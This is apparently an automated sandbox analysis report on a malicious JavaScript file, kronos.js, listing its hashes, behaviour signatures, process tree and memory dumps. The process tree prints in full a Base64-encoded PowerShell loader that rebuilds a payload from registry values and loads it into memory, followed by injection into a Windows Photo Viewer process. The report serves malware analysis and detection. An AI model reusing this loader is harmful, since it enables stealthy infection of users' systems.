Analysis

  • max time kernel
    150s
  • max time network
    142s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    13-01-2021 06:51

General

  • Target

    kronos.js

  • Size

    2.5MB

  • MD5

    d7445ce4be501700003a79023147e9b9

  • SHA1

    2d80ceba1af9a16ef2b8186c5f46a19e984837f3

  • SHA256

    6bb71d8bf32cceef6a431136e0c965aa905c45c240b40bb20aa6fb6f661300f3

  • SHA512

    61d1c6d20b793b3f47143db918b66f8968cb43b0f5aee20d73ce009e6c2f924336a7f58b10ba631bff164371a9e80787ae3ac50caaa1943b57750b788db3ddc2

Score
10/10

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 7045 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\kronos.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1740
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -En "PAAjACAAdQB2AHgAdgByAGwAIAAjAD4AJAB1AD0AJABlAG4AdgA6AFUAcwBlAHIATgBhAG0AZQA7AGYAbwByACAAKAAkAGkAPQAwADsAJABpACAALQBsAGUAIAA3ADAAMAA7ACQAaQArACsAKQB7ACQAYwA9ACIASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAIgArACQAdQArACIAMQAiADsAVAByAHkAewAkAGEAPQAkAGEAKwAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAHAAYQB0AGgAIAAkAGMAKQAuACQAaQB9AEMAYQB0AGMAaAB7AH0AfQA7AGYAdQBuAGMAdABpAG8AbgAgAGMAaABiAGEAewBbAGMAbQBkAGwAZQB0AGIAaQBuAGQAaQBuAGcAKAApAF0AcABhAHIAYQBtACgAWwBwAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACkAXQBbAFMAdAByAGkAbgBnAF0AJABoAHMAKQA7ACQAQgB5AHQAZQBzACAAPQAgAFsAYgB5AHQAZQBbAF0AXQA6ADoAbgBlAHcAKAAkAGgAcwAuAEwAZQBuAGcAdABoACAALwAgADIAKQA7AGYAbwByACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGgAcwAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwA9ADIAKQB7ACQAQgB5AHQAZQBzAFsAJABpAC8AMgBdACAAPQAgAFsAYwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgB5AHQAZQAoACQAaABzAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAGkALAAgADIAKQAsACAAMQA2ACkAfQAkAEIAeQB0AGUAcwB9ADsAJABpACAAPQAgADAAOwBXAGgAaQBsAGUAIAAoACQAVAByAHUAZQApAHsAJABpACsAKwA7ACQAawBvACAAPQAgAFsAbQBhAHQAaABdADoAOgBTAHEAcgB0ACgAJABpACkAOwBpAGYAIAAoACQAawBvACAALQBlAHEAIAAxADAAMAAwACkAewAgAGIAcgBlAGEAawB9AH0AWwBiAHkAdABlAFsAXQBdACQAYgAgAD0AIABjAGgAYgBhACgAJABhAC4AcgBlAHAAbABhAGMAZQAoACIAIwAiACwAJABrAG8AKQApADsAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGIAKQA7AFsATQBvAGQAZQBdADoAOgBTAGUAdAB1AHAAKAApADsA "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3508
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -En "PAAjACAAdQB2AHgAdgByAGwAIAAjAD4AJAB1AD0AJABlAG4AdgA6AFUAcwBlAHIATgBhAG0AZQA7AGYAbwByACAAKAAkAGkAPQAwADsAJABpACAALQBsAGUAIAA3ADAAMAA7ACQAaQArACsAKQB7ACQAYwA9ACIASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAIgArACQAdQArACIAMQAiADsAVAByAHkAewAkAGEAPQAkAGEAKwAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAHAAYQB0AGgAIAAkAGMAKQAuACQAaQB9AEMAYQB0AGMAaAB7AH0AfQA7AGYAdQBuAGMAdABpAG8AbgAgAGMAaABiAGEAewBbAGMAbQBkAGwAZQB0AGIAaQBuAGQAaQBuAGcAKAApAF0AcABhAHIAYQBtACgAWwBwAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACkAXQBbAFMAdAByAGkAbgBnAF0AJABoAHMAKQA7ACQAQgB5AHQAZQBzACAAPQAgAFsAYgB5AHQAZQBbAF0AXQA6ADoAbgBlAHcAKAAkAGgAcwAuAEwAZQBuAGcAdABoACAALwAgADIAKQA7AGYAbwByACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGgAcwAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwA9ADIAKQB7ACQAQgB5AHQAZQBzAFsAJABpAC8AMgBdACAAPQAgAFsAYwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgB5AHQAZQAoACQAaABzAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAGkALAAgADIAKQAsACAAMQA2ACkAfQAkAEIAeQB0AGUAcwB9ADsAJABpACAAPQAgADAAOwBXAGgAaQBsAGUAIAAoACQAVAByAHUAZQApAHsAJABpACsAKwA7ACQAawBvACAAPQAgAFsAbQBhAHQAaABdADoAOgBTAHEAcgB0ACgAJABpACkAOwBpAGYAIAAoACQAawBvACAALQBlAHEAIAAxADAAMAAwACkAewAgAGIAcgBlAGEAawB9AH0AWwBiAHkAdABlAFsAXQBdACQAYgAgAD0AIABjAGgAYgBhACgAJABhAC4AcgBlAHAAbABhAGMAZQAoACIAIwAiACwAJABrAG8AKQApADsAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGIAKQA7AFsATQBvAGQAZQBdADoAOgBTAGUAdAB1AHAAKAApADsA "
        3⤵
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3016
        • C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe
          "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:3820
          • C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe
            "C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe"
            5⤵
            • Executes dropped EXE
            PID:2200

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • memory/3016-15-0x0000000008C80000-0x0000000008C81000-memory.dmp

    Filesize

    4KB

  • memory/3016-18-0x0000000009220000-0x0000000009221000-memory.dmp

    Filesize

    4KB

  • memory/3016-9-0x0000000006C30000-0x0000000006C31000-memory.dmp

    Filesize

    4KB

  • memory/3016-10-0x0000000006CA0000-0x0000000006CA1000-memory.dmp

    Filesize

    4KB

  • memory/3016-11-0x00000000075F0000-0x00000000075F1000-memory.dmp

    Filesize

    4KB

  • memory/3016-12-0x0000000006D70000-0x0000000006D71000-memory.dmp

    Filesize

    4KB

  • memory/3016-13-0x0000000007B20000-0x0000000007B21000-memory.dmp

    Filesize

    4KB

  • memory/3016-14-0x0000000007CC0000-0x0000000007CC1000-memory.dmp

    Filesize

    4KB

  • memory/3016-16-0x00000000089A0000-0x00000000089A1000-memory.dmp

    Filesize

    4KB

  • memory/3016-17-0x0000000008C10000-0x0000000008C11000-memory.dmp

    Filesize

    4KB

  • memory/3016-8-0x0000000006A90000-0x0000000006A91000-memory.dmp

    Filesize

    4KB

  • memory/3016-19-0x0000000008D20000-0x0000000008D22000-memory.dmp

    Filesize

    8KB

  • memory/3016-20-0x0000000008E90000-0x0000000008FDC000-memory.dmp

    Filesize

    1.3MB

  • memory/3016-5-0x0000000073960000-0x000000007404E000-memory.dmp

    Filesize

    6.9MB

  • memory/3016-6-0x00000000040E0000-0x00000000040E1000-memory.dmp

    Filesize

    4KB

  • memory/3016-7-0x0000000006EA0000-0x0000000006EA1000-memory.dmp

    Filesize

    4KB

  • memory/3820-23-0x0000000000400000-0x0000000000456000-memory.dmp

    Filesize

    344KB

  • memory/3820-21-0x0000000000400000-0x0000000000456000-memory.dmp

    Filesize

    344KB